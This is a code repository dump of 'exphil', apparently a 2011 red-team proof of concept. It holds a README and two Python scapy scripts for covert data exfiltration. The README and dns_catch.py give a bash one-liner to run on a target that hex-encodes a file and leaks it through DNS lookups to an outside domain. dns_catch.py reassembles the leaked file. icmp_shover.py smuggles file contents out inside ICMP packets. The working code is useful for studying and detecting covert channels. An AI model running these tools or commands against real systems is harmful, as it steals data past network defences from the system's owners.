├── dns_compromised_box.png ├── dns_your_dns_server.png ├── README.md ├── dns_catch.py └── icmp_shover.py /dns_compromised_box.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/glennzw/exphil/HEAD/dns_compromised_box.png -------------------------------------------------------------------------------- /dns_your_dns_server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/glennzw/exphil/HEAD/dns_your_dns_server.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Data Exfiltration PoC Scripts 2 | 3 | ## DNS Exfliltration (dns_catch.py) 4 | Run dns_catch.py on your DNS server. 5 | 6 | On target system execute via bash: 7 | file="secretz.tgz"; key="moo"; domain="sensepost.com" i=1; md=$(cat $file| md5sum| cut -d " " -f 1); len=$((`xxd -p $file |wc -l`)); for h in `cat $file | xxd -p`; do host $h.0.$i.$len.$key.$domain; i=$(($i+1));done; host $md.1.$i.$len.$key.$domain 8 | 9 | ## ICMP (icmp_shover.py) 10 | ### Sending: 11 | Read n bytes of file 12 | Convert to hex 13 | Create ICMP() packet with destination / source headers 14 | Pack ICMP() data section with the hex 15 | Drop it onto the wire! 16 | 17 | ### Receving: 18 | Listen on network interface for icmp packets (with a little signature) 19 | Unpack from data and write to file 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /dns_catch.py: -------------------------------------------------------------------------------- 1 | # PoC cheap DNS data exfiltration tool, used to reassemble files sent in hex. 2 | # Usage: 3 | # python dns_catch.py 4 | # 5 | # Use the following one liner to pump the file out from the target: 6 | # 7 | # file="secretz.tgz"; key="moobar"; domain="sensepost.com"; i=1; md=$(cat $file| md5sum| cut -d " " -f 1); len=$((`xxd -p $file |wc -l`)); for h in `cat $file | xxd -p`; do host $h.0.$i.$len.$key.$domain; i=$(($i+1));done; host $md.1.$i.$len.$key.$domain 8 | # 9 | # glenn@sensepost.com / 2011 10 | 11 | from scapy.all import * 12 | import binascii 13 | import hashlib 14 | import sys 15 | import time 16 | 17 | last_seqn=-1 18 | result="" 19 | thesrc="" 20 | recvd_seqns=[] 21 | lines_rcvd=0 22 | 23 | 24 | if len(sys.argv) != 3: 25 | print 'Usage: dns_catch.py key outfile' 26 | print 'e.g dns_catch.py moo secretfile.txt' 27 | print '\nOn target system execute via bash:' 28 | print 'file=\"secretz.tgz\"; key=\"moo\"; domain=\"sensepost.com\" i=1; md=$(cat $file| md5sum| cut -d \" \" -f 1); len=$((`xxd -p $file |wc -l`)); for h in `cat $file | xxd -p`; do host $h.0.$i.$len.$key.$domain; i=$(($i+1));done; host $md.1.$i.$len.$key.$domain' 29 | print '\nglenn@sensepost.com / 2011' 30 | exit() 31 | 32 | key = sys.argv[1] 33 | outfile = sys.argv[2] 34 | 35 | def md5_file(fname): 36 | 37 | f = open(fname,'rb') 38 | m = hashlib.md5() 39 | while True: 40 | ## Don't read the entire file at once... 41 | data = f.read(10240) 42 | if len(data) == 0: 43 | break 44 | m.update(data) 45 | f.close() 46 | return m.hexdigest() 47 | 48 | def handle_dns_packet(x): 49 | global last_seqn 50 | global recvd_seqns 51 | global result 52 | global thesrc 53 | global lines_rcvd 54 | global key 55 | global outfile 56 | global start_time 57 | 58 | try: 59 | src=x.payload.src 60 | qname=x.payload.payload.payload.qd.qname 61 | except Exception: 62 | #print "This packet didn't match what we expected: "+str(x) 63 | return 64 | parts=qname.split(".") 65 | 66 | if( len(parts) >7 and parts[4] == key and int(parts[2]) not in recvd_seqns): #Check if DNS packet looks like the kind we like 67 | 68 | if(thesrc == ""): 69 | thesrc=src 70 | if(src==thesrc): #Ignore replies 71 | lines_rcvd+=1 72 | data=parts[0] 73 | is_last=int(parts[1]) 74 | seqn=int(parts[2]) 75 | size=int(parts[3]) 76 | if(last_seqn==-1): 77 | last_seqn=0 78 | start_time=time.time() 79 | 80 | if(seqn != last_seqn+1): 81 | sys.exit("Data came out of order. Was expecting %d, recieved %d. Exiting :(" %(last_seqn+1, seqn) ) 82 | if(is_last==1): 83 | outf=open(outfile,"wb") 84 | print "[+] Last chunk received. Decoding and writing to %s" %outfile 85 | for i in range(0,len(result),2): 86 | outf.write(binascii.a2b_hex(result[i:i+2])) 87 | outf.close() 88 | md5_remote=md5_file(outfile) 89 | md5_local=data 90 | 91 | if( md5_remote == md5_local): 92 | print "[*] Received MD5 matches local, nice! (%s)" %data 93 | else: 94 | print "[!] Received MD5 does not match local file, fail :( (rcv'd %s, expected %s)" %(md5_remote, md5_local) 95 | sys.exit() 96 | else: 97 | sofar=int(time.time() - start_time) 98 | if sofar==0: 99 | sofar=1 100 | avg_time_per_line = float(sofar) / lines_rcvd 101 | lines_remaining = size - lines_rcvd 102 | time_til_complete = lines_remaining * avg_time_per_line 103 | 104 | print "[+] Recv'd \"%s\" %d of %d (~%d seconds remaining)" %(data, lines_rcvd,size, time_til_complete) 105 | #print "sofar=%d, lines_rcvd=%d ,lines_remaining=%d, avg_time_per_line=%f, time_til_complete=%f" %(sofar, lines_rcvd ,lines_remaining, avg_time_per_line, time_til_complete ) 106 | recvd_seqns.append(seqn) 107 | last_seqn=seqn 108 | result+=data 109 | # else: 110 | # print "[-] Ignoring DNS packet - %s" %qname 111 | 112 | print "[+] Waiting for DNS packets for subdomain %s (i.e. %s.yourdomain.com)" %(key,key) 113 | sniff(filter="udp and port 53", prn=handle_dns_packet) 114 | -------------------------------------------------------------------------------- /icmp_shover.py: -------------------------------------------------------------------------------- 1 | # PoC cheap ICMP data exfiltration tool, used to reassemble files sent in hex. 2 | # Usage: 3 | # python icmp_shover.py -m -f [-t ] [-c ] [-v ] [-d ] 4 | # 5 | # 6 | # glenn@sensepost.com / 2011 7 | 8 | from scapy.all import * 9 | import binascii 10 | import hashlib 11 | import sys 12 | import time 13 | 14 | #Vars for receiving files 15 | last_seqn=-1 16 | result="" 17 | thesrc="" 18 | 19 | #Vars for sending files 20 | chunk_sz=20 #How many bytes of the file to send at a time 21 | verbose=0 22 | sleep_btwn_packets=0.01 23 | 24 | mode='' 25 | key='' 26 | file='' 27 | target='' 28 | 29 | def usage(): 30 | print 'Usage: ' 31 | print ' python icmp_shover.py -m -f [-t ] [-c ] [-v ] [-d ]' 32 | print '\nglenn@sensepost.com / 2011' 33 | 34 | def send(): 35 | print "[+] Send mode, sending \"%s\" to target \"%s\"" %(file,target) 36 | fsize_bytes=os.path.getsize(file) 37 | total_packets=(fsize_bytes / chunk_sz) +1 38 | print "[+] File is %d bytes, which will take %d ICMP packets (at %d bytes per packet)" %(fsize_bytes,total_packets,chunk_sz) 39 | f=open(file,"rb") 40 | i=1 41 | try: 42 | bytes_read = f.read(chunk_sz) 43 | while bytes_read: 44 | hex_data = binascii.hexlify(bytes_read) 45 | to_send = ':'.join(["@@@0",str(i),str(total_packets),hex_data]) 46 | i+=1 47 | if(verbose>0): 48 | print "[-] Sending %s" %to_send 49 | sendp(Ether()/IP(dst=target)/ICMP()/to_send,verbose=0) 50 | time.sleep(sleep_btwn_packets) 51 | bytes_read = f.read(chunk_sz) 52 | 53 | finally: 54 | f.close() 55 | local_md5=md5_file(file) 56 | to_send = ':'.join(["@@@1",str(i),str(total_packets),local_md5]) 57 | print "[+] Sending last packet with checksum." 58 | sendp(Ether()/IP(dst=target)/ICMP()/to_send,verbose=0) 59 | 60 | def recv(): 61 | print "[+] Receive mode writing output to \"%s\"" %(file) 62 | sniff(filter="icmp", prn=catch_icmp) 63 | 64 | def catch_icmp(x): 65 | global thesrc 66 | global last_seqn 67 | global result 68 | global thesrc 69 | global magic 70 | 71 | try: 72 | src=x.payload.src 73 | dst=x.payload.dst 74 | load=x.load 75 | except Exception: 76 | #print "[e] Unexpected packet %s" % (x) 77 | return 78 | if(verbose>0): 79 | print "[-] Got packet from %s with contents %s" %(src,load) 80 | if (load[:3]=='@@@'): #to identify our special packets 81 | split = load[3:].split(":") 82 | is_last=int(split[0]) 83 | seqn=int(split[1]) 84 | total=int(split[2]) 85 | data=split[3] 86 | if(thesrc==""): 87 | thesrc=src 88 | #print "(seqn=%d, last_seqn=%d)" %(seqn, last_seqn) 89 | if(src==thesrc and seqn!=last_seqn): #Ignore replies and duplicates 90 | if(last_seqn==-1): 91 | last_seqn=0 92 | if(seqn != last_seqn+1): 93 | sys.exit("Data came out of order. Was expecting %d, recieved %d. Exiting :(" %(last_seqn+1, seqn) ) 94 | else: 95 | last_seqn=seqn 96 | 97 | if(is_last==1): 98 | outf=open(file,"wb") 99 | 100 | print "[+] Last chunk received. Decoding and writing to %s" %file 101 | for i in range(0,len(result),2): 102 | outf.write(binascii.a2b_hex(result[i:i+2])) 103 | outf.close() 104 | md5_remote=md5_file(file) 105 | md5_local=data 106 | 107 | if( md5_remote == md5_local): 108 | print "[*] Received MD5 matches local, nice! (%s)" %data 109 | else: 110 | print "[!] Received MD5 does not match local file, fail :( (rcv'd %s, expected %s)" %(md5_remote, md5_local) 111 | sys.exit() 112 | 113 | 114 | 115 | else: 116 | result += data 117 | 118 | def md5_file(fname): 119 | 120 | f = open(fname,'rb') 121 | m = hashlib.md5() 122 | while True: 123 | ## Don't read the entire file at once... 124 | data = f.read(10240) 125 | if len(data) == 0: 126 | break 127 | m.update(data) 128 | f.close() 129 | return m.hexdigest() 130 | 131 | #Process args 132 | for a in range(1,len(sys.argv),2): 133 | try: 134 | if(sys.argv[a] == '-m'): 135 | mode=sys.argv[a+1] 136 | # elif(sys.argv[a] == '-k'): 137 | # key=sys.argv[a+1] 138 | elif(sys.argv[a] == '-f'): 139 | file=sys.argv[a+1] 140 | elif(sys.argv[a] == '-t'): 141 | target=sys.argv[a+1] 142 | elif(sys.argv[a] == '-c'): 143 | chunk_sz=int(sys.argv[a+1]) 144 | elif(sys.argv[a] == '-v'): 145 | verbose=int(sys.argv[a+1]) 146 | elif(sys.argv[a] == '-d'): 147 | sleep_btwn_packets=float(sys.argv[a+1]) 148 | else: 149 | print "Bad args!" 150 | usage() 151 | exit() 152 | except: 153 | print "Bad args!" 154 | usage() 155 | exit() 156 | 157 | print "ARgs: mode = %s, verbos = %s, cz = %s" %(mode,verbose,chunk_sz) 158 | 159 | if( mode=='' or file=='' or (mode=='send' and target=='')): 160 | print "Bad args!" 161 | usage() 162 | exit() 163 | 164 | if( mode == 'send'): 165 | send() 166 | elif(mode == 'recv'): 167 | recv() 168 | else: 169 | print "Bad mode!" 170 | usage() 171 | exit() 172 | 173 | --------------------------------------------------------------------------------